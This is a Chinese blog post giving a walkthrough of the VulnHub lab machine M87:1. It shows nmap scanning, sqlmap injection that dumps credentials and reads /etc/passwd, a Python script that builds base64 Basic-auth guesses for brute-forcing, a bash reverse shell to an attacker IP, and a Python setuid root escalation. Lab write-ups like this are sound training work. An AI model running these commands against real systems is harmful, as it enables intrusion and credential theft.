vulnhub——M87:1

最新推荐文章于 2024-09-09 09:05:25 发布

KIW1

最新推荐文章于 2024-09-09 09:05:25 发布

阅读量191

点赞数 1

文章标签： web安全

本文链接：https://blog.csdn.net/m0_61619198/article/details/131676669

版权

M87:1的安装地址：

https://www.vulnhub.com/entry/m87-1,595/

解压后打开：

一.nmap信息收集

sudo nmap -sn 192.168.0.0/24

sudo nmap -sT --min-rate 10000 -p- 192.168.0.173

sudo nmap -sT -sV -sC -O -p22,80,9090 192.168.0.173

sudo nmap -sU --top-ports 20 192.168.0.173

sudo nmap --script=vuln -p22,80,9090 192.168.0.173

二.对收集到的攻击面进行具体的分析

http://192.168.0.173

https://192.168.0.173

是两个登录页面，进行目录扫描，发现了另外的几个登录页面
http://192.168.0.173/admin
http://192.168.0.173/admin/backup

在http://192.168.0.173/admin/ url中尝试参数id=1' 发生了报错，猜测存在sql注入，用sqlmap跑一下

sqlmap -u "http://192.168.0.173/admin/?id=1" --batch
从结果来看存在sql注入漏洞

sqlmap -u "http://192.168.0.173/admin/?id=1" --current-db --batch

sqlmap -u "http://192.168.0.173/admin/?id=1" --tables -D "db"    --batch

sqlmap -u "http://192.168.0.173/admin/?id=1" --columns -T "users" -D "db"    --batch

sqlmap -u "http://192.168.0.173/admin/?id=1" --dump -C "username,password" -T "users" -D "db"    --batch

得到的账号密码并不能登录任何一个界面，但是能通过sqlmap进行文件读取
sqlmap -u "http://192.168.0.173/admin/?id=1"  -D "db" --file-read /etc/passwd  --batch
找到了一个charlotte用户

我们收集到了这么多账号密码，现在又收集到了一个，试着用暴力破解。
抓一个https://192.168.0.173:9090的包
发现有一个Authorization:字段，对里面的字符串解密得到的就是在页面输入的： 账号:密码

对收集到的账号密码进行排列组合，以账号:密码的格式并且base64编码以后输出，可以用python简单写一个脚本

import itertools
import base64

# 给出账号和密码列表
accounts = ['admin', 'adrian', 'alex', 'brad', 'ceo', 'expenses', 'jack', 'john', 'julia', 'mike', 'root', 'charlotte']
passwords = ['gae5g5a', '5t96y4i95y', 'fw54vrfwe45', '4kworw4', '15The4Dm1n4L1f3', 'dsfsrw4']

# 生成所有的排列组合，并对每个结果进行 Base64 编码
for account, password in itertools.product(accounts, passwords):
    result = account + ':' + password
    encoded_result = base64.b64encode(result.encode('utf-8')).decode('utf-8')
    print(encoded_result)

最终得到了一组可以登录的账号密码： charlotte：15The4Dm1n4L1f3，能登录9090端口的页面。
登录进来发现有个终端

建立bash反弹然后开始提权
bash -c "/bin/bash -i >& /dev/tcp/192.168.0.154/9001 0>&1"

建立一个python终端
python -c 'import pty;pty.spawn("/bin/bash")'

查看old发现是python2.7可以利用os模块调用本地的root的shell

获得FLAG

考察点：

1.nmap的使用和对参数的理解

2.目录扫描工具的使用

3.sql注入的理解和sqlmap的使用

4.对信息进行处理的能力，就比如把字符串加密排列组合等

5.burp suit密码爆破的使用

6.Linux提权

思路整理：

首先使用nmap进行信息收集，等到了80,9090两个web站点，访问后发现是两个登录页面，进行目录扫描，扫出来另外两个登录界面，都没有什么特别明显的信息。通过对/admin这个页面的url观察发现输入id=1'时会报错，所以使用sqlmap跑一下，结果真的存在sql注入，然后就是查库，查表，查字段值等，把得到的账号密码都有尝试登录一下，发现都不能成功登录。尝试sqlmap的文件读取功能，读取了/etc/passwd这个文件发现了又一个账号，然后对9090端口进行抓包分析，存在一个

Authorization字段，账号密码的格式为：账号：密码，而且是base64加密过后的。自己写了一个排列组合并且加密的脚本得到了字典，然后爆破出账号密码的组合，成功登录。在登录后的页面发现了一个终端，建立bash反弹，最终利用python完成了提权。

收获的知识点：

1.sqlmap的文件读写功能：--file-read /etc/passwd

2.python的提权：查看old发现是python2.7可以利用os模块调用本地的root的shell

python -c 'import os;os.setuid(0);os.system("/bin/bash")'